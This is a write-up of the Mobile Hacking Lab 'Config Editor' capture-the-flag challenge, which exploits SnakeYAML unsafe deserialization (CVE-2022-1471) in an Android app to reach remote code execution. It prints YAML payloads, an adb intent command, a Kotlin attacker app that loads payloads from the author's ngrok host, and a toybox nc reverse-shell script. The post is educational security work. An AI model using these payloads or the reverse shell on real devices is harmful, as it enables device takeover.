Mobile Hacking Lab - Config Editor

Exploiting Third-Party Library Vulnerabilities for RCE on Android: A Mobile Hacking Lab CTF Challenge

In the cybersecurity world, it’s important to stay up to date about vulnerabilities lurking in the dependencies and third-party libraries used by applications. These external components can introduce significant security risks, making applications susceptible to attacks. The “Config Editor” challenge presents a realistic scenario where an Android application is vulnerable to remote code execution (RCE) due to a flaw in a widely-used third-party library.

You can access the challenge here: Mobile Hacking Lab - Config Editor

The Challenge Overview

The challenge “Config Editor” revolves around an Android application that incorporates a third-party library for managing configuration settings. While this library provides convenient functionality, it contains a critical vulnerability that can be exploited to achieve remote code execution (RCE) on the device. Let’s go!

NOTE: I won’t go in details on each class/method since it’s very very similar to the “Document Viewer” challenge. If you want a more detailed code analysis, I encourage you to go here: 0xAlmighty - Document Viewer Walkthrough

Discovery Phase

The initial step I took was to open the application. This application provides limited functionality, offering only two features: “Load” and “Save”:

I selected “Load” and noticed that an “example.yaml” file was already present in the /sdcard/Download directory. This indicates that the app generates and saves the file in this location during its operation:

I opted to monitor the logs using pidcat upon launching the app to see if anything juicy would appear:

Sadly, nothing popped up. :/

I opened the example.yaml file within the app and monitored the logs in pidcat.

it’s throwing an error:

Error loading YAML: content://com.android.providers.downloads.documents/document/raw%3A%2Fstorage%2Femulated%2F0%2FDownload%2Fdummy.pdf
org.yaml.snakeyaml.error.YAMLException: java.nio.charset.MalformedInputException: Input length = 1

Super interesting! It turns out it’s utilizing org.yaml.snakeyaml. Although I’m not entirely up to speed on every vulnerability out there in all libraries, a quick Google search revealed that snakeyaml has a known vulnerability to CVE-2022-1471 due to unsafe deserialization.

Snyk - Unsafe deserialization vulnerability in SnakeYaml (CVE-2022-1471)

I aimed to identify the version of snakeyaml in use, so I decompiled the application and went through the code to locate the snakeyaml version. I ran Deeeeper on the APK for decompiling and extracting details on the activities.

Processing Activities:
com.mobilehackinglab.configeditor.MainActivity (exported=true)
  android.intent.action.MAIN
  android.intent.action.VIEW
  file://
  http://
  https://

The Processing Activities describes the activities found on the MainActivity of the com.mobilehackinglab.configeditor package. The details outline how this main activity is configured in terms of its interaction with different types of intents and data schemes.

  • Exported=true: This indicates that the MainActivity is accessible to other apps. An activity with exported=true can be started by components of other apps, which can be a security risk if not properly handled, especially when dealing with sensitive information and actions.
  • android.intent.action.MAIN: This is a standard category indicating that this activity serves as an entry point for the app. It’s what allows the activity to be launched directly from the launcher.
  • android.intent.action.VIEW: This shows that the activity is designed to handle a VIEW action, which means it can display data to the user. Activities that respond to this action can be invoked to present various types of content to the user.
  • file://, http://, https://: These are the data schemes the activity can handle. It suggests that the MainActivity is capable of opening and displaying content from these sources. Specifically:
    • file:// indicates it can open files stored locally on the device.
    • http:// and https:// indicate it can open web pages or online files over HTTP or HTTPS protocols.

Code Analysis

yaml.snakeyaml

public VersionTagsTuple processDirectives() {
[...]
            List<Integer> value = token.getValue();
            Integer major = value.get(0);
            if (major.intValue() != 1) {
                throw new ParserException(null, null, "found incompatible YAML document (version 1.* is required)", token.getStartMark());
            }
            Integer minor = value.get(1);
            if (minor.intValue() == 0) {
                this.directives = new VersionTagsTuple(DumperOptions.Version.V1_0, tagHandles);
            } else {
                this.directives = new VersionTagsTuple(DumperOptions.Version.V1_1, tagHandles);
            }
[...]

I invested a significant amount of time trying to pinpoint the version to confirm its vulnerability status. Unfortunately, I wasn’t able to locate it. The only detail I discovered was the DumperOptions version, but since I’m not well-versed in snakeyaml, I can’t definitively say if it’s relevant.

LegacyCommandUtil

This was new compared to “Document Viewer”. Let’s go over the code to understand how it works.

public final class LegacyCommandUtil {
  • Declares the class LegacyCommandUtil as final, meaning it cannot be subclassed. This is a common practice for utility classes or when class behavior should not be changed through inheritance.
    public LegacyCommandUtil(String command) {
        Intrinsics.checkNotNullParameter(command, "command");
        Runtime.getRuntime().exec(command);
    }
}
  • Takes a single String parameter named command, which is intended to be executed by the runtime.
  • Intrinsics.checkNotNullParameter(command, "command"): A Kotlin intrinsic function call to ensure the command argument is not null, throwing a NullPointerException if it is.
  • Runtime.getRuntime().exec(command): Executes the command string in the system’s runtime environment. This is money $

Might be the path to RCE? Always pay attention to exec!

Exploitation: RCE

Skipping the whole trial-and-error with payloads, we’re heading straight for the action. I did manage to write a file on the device, but let’s be real – snagging a shell on the device is way cooler. Let’s get to it!

Following this article: Snyk - Unsafe deserialization vulnerability in SnakeYaml (CVE-2022-1471).

We know that our .yaml file needs to contain the payload. They suggest this payload:

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]

The problem is that the app doesn’t make any ScriptEngineManager calls, rendering our payload useless for this challenge.

How do we execute a command on the device? Recall the LegacyCommandUtil? That’s our ticket in.

Building the payload

Building the payload was simple, make a call to LegacyCommandUtil through the poisoned .yaml file:

!!com.mobilehackinglab.configeditor.LegacyCommandUtil ["COMMAND TO RUN"]

We begin by invoking the package, followed by referencing the LegacyCommandUtil and inserting the command within the [].

Very similar to the “Document Viewer” challenge, we can get RCE using this adb command but make sure to change the MIME type to match yaml:

adb shell am start -a android.intent.action.VIEW -d "https://YOUR_URL/payload.yaml" -t "application/yaml" com.mobilehackinglab.configeditor/.MainActivity

The Runtime.getRuntime().exec(command); has limitations regarding the commands it can execute. Now, let’s move on to exploring a workaround to obtain shell…

Building a Malicious App for Shell Access

It took several attempts to get a shell, but the entire effort was worth it.

Let’s fire up Android studio and in MainActivity.kt enter this code at the top

Class Declaration

class MainActivity : AppCompatActivity() {
    ...
}

The MainActivity class extends AppCompatActivity, making it an Activity in the Android app. Activities are essential components of an Android application that provide a screen with which users can interact.

Activity Lifecycle Method

@SuppressLint("SetTextI18n")
override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)

    // Call executeExploit
    executeExploit()
}

The onCreate() method is called when the activity is starting. This is where the method executeExploit() is called to start the exploitation sequence.

Sequential Activity Launching

private fun executeExploit() {
    val targetComponent = TargetComponent(
        "com.mobilehackinglab.configeditor",
        "com.mobilehackinglab.configeditor.MainActivity"
    )

    // Sequentially execute actions within a single coroutine scope
    lifecycleScope.launch {
        // Initial action: Launch an activity to handle "shell.yaml"
        val downloadShell = "https://0xalmighty.ngrok.io/shell.yaml"
        launchTargetActivity(targetComponent, downloadShell, "application/yaml")

        // Wait for 1 second
        delay(1000)

        // Launch an activity to handle "1.yaml"
        val exploit1 = "https://0xalmighty.ngrok.io/1.yaml"
        launchTargetActivity(targetComponent, exploit1, "application/yaml")

        // Wait for 1 second
        delay(1000)

        // Launch an activity to handle "2.yaml"
        val exploit2 = "https://0xalmighty.ngrok.io/2.yaml"
        launchTargetActivity(targetComponent, exploit2, "application/yaml")

        // Wait for 1 second
        delay(1000)

        // Final action: Launch an activity to handle "3.yaml"
        val exploit3 = "https://0xalmighty.ngrok.io/3.yaml"
        launchTargetActivity(targetComponent, exploit3, "application/yaml")
    }
}

The executeExploit function defines a coroutine scope attached to the activity’s lifecycle. In this scope, it launches activities sequentially, each with a delay in between:

  • It first launches an activity with the intent to open a URL (shell.yaml), waits for 1 second, and then sequentially opens other URLs (1.yaml, 2.yaml, 3.yaml), each followed by a 1-second delay.

Launching a Target Activity

private fun launchTargetActivity(targetComponent: TargetComponent, dataUri: String, mimeType: String) {
    val intent = Intent(Intent.ACTION_VIEW).apply {
        setClassName(targetComponent.packageName, targetComponent.activityName)
        setDataAndType(Uri.parse(dataUri), mimeType)
    }
    safelyStartActivity(intent)
}

This method constructs an Intent to view a specific URI with the provided MIME type and launches an activity specified by the TargetComponent. It sets the class name explicitly to ensure the intent is delivered to the intended component.

Safely Starting an Activity

private fun safelyStartActivity(intent: Intent) {
    try {
        startActivity(intent)
    } catch (e: Exception) {
        e.printStackTrace()
    }
}

Attempts to start an activity using the provided Intent, wrapped in a try-catch block to handle any exceptions that may occur during the process.

Target Component Data Class

data class TargetComponent(val packageName: String, val activityName: String)

A data class that holds the package name and activity name. It’s used to specify the target component for the intents.

Final code:

package com.configeditor.poc

import android.annotation.SuppressLint
import android.content.Intent
import android.net.Uri
import android.os.Bundle
import androidx.appcompat.app.AppCompatActivity
import androidx.lifecycle.lifecycleScope
import kotlinx.coroutines.delay
import kotlinx.coroutines.launch

class MainActivity : AppCompatActivity() {
    @SuppressLint("SetTextI18n")
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        executeExploit()
    }

    private fun executeExploit() {
        val targetComponent = TargetComponent(
            "com.mobilehackinglab.configeditor",
            "com.mobilehackinglab.configeditor.MainActivity"
        )
        lifecycleScope.launch {
            launchTargetActivity(targetComponent, "https://0xalmighty.ngrok.io/shell.yaml", "application/yaml")
            delay(1000)
            launchTargetActivity(targetComponent, "https://0xalmighty.ngrok.io/1.yaml", "application/yaml")
            delay(1000)
            launchTargetActivity(targetComponent, "https://0xalmighty.ngrok.io/2.yaml", "application/yaml")
            delay(1000)
            launchTargetActivity(targetComponent, "https://0xalmighty.ngrok.io/3.yaml", "application/yaml")
        }
    }

    private fun launchTargetActivity(targetComponent: TargetComponent, dataUri: String, mimeType: String) {
        val intent = Intent(Intent.ACTION_VIEW).apply {
            setClassName(targetComponent.packageName, targetComponent.activityName)
            setDataAndType(Uri.parse(dataUri), mimeType)
        }
        safelyStartActivity(intent)
    }

    private fun safelyStartActivity(intent: Intent) {
        try {
            startActivity(intent)
        } catch (e: Exception) {
            e.printStackTrace()
        }
    }
}

data class TargetComponent(val packageName: String, val activityName: String)

Great, the app is ready! Now we need 4 files:

  1. shell.yaml
  2. 1.yaml
  3. 2.yaml
  4. 3.yaml

shell.yaml

This is our shell. The shell.yaml file should contain this payload.

#!/system/bin/sh

toybox nc IP 8084|sh && tail -n 0 -f /data/data/com.mobilehackinglab.configeditor/1 | /bin/sh -i 2>&1 | toybox nc IP 8085 1> /data/data/com.mobilehackinglab.configeditor/1

1.yaml

We have to rename shell.yaml to shell.sh for obvious reason! The 1.yaml file should contain this payload:

!!com.mobilehackinglab.configeditor.LegacyCommandUtil ["mv /sdcard/Download/shell.yaml /sdcard/Download/shell.sh"]

2.yaml

We have to change shell.yaml to an executable. The 2.yaml file should contain this payload

!!com.mobilehackinglab.configeditor.LegacyCommandUtil ["chmod +x /sdcard/Download/shell.sh"]

3.yaml

We execute the shell.sh to obtain the shell :) The 3.yaml file should contain this payload:

!!com.mobilehackinglab.configeditor.LegacyCommandUtil ["sh ./sdcard/Download/shell.sh"]

The Execution

To make all of this work, I saved the file in a htdocs folder, started a local server and forward the local adresse with Ngrok:

Start 2 listeners:

nc -lvn 8084


nc -lvn 8085

Install the APK on the device:

Launch the malicious app. You should see the file being fetched by the app with Ngrok:

Now, make sure to CONTROL+C on the 8084 listener. This will instantly give you a shell on port 8085

POC Video

Here’s a video :)

Conclusion

The “Config Editor” challenge proved to be an exhilarating experience, particularly in regards to the shell exploit. One of the most intriguing aspects of this challenge was the striking similarity of the code to the “Document Viewer” challenge, which came as an unexpected surprise.

I must extend a huge shoutout and sincere appreciation to the Mobile Hacking Lab team. Their platform has been an invaluable resource in my journey to enhance my mobile application security skills. The challenges are not only educational but also genuinely enjoyable, striking the perfect balance between difficulty and satisfaction upon successful completion.

If you’re passionate about mobile security and seeking a platform that offers both challenging and rewarding experiences, I cannot recommend Mobile Hacking Lab enough. The “Config Editor” challenge is just a glimpse into the wealth of knowledge and expertise you’ll encounter on this exceptional platform.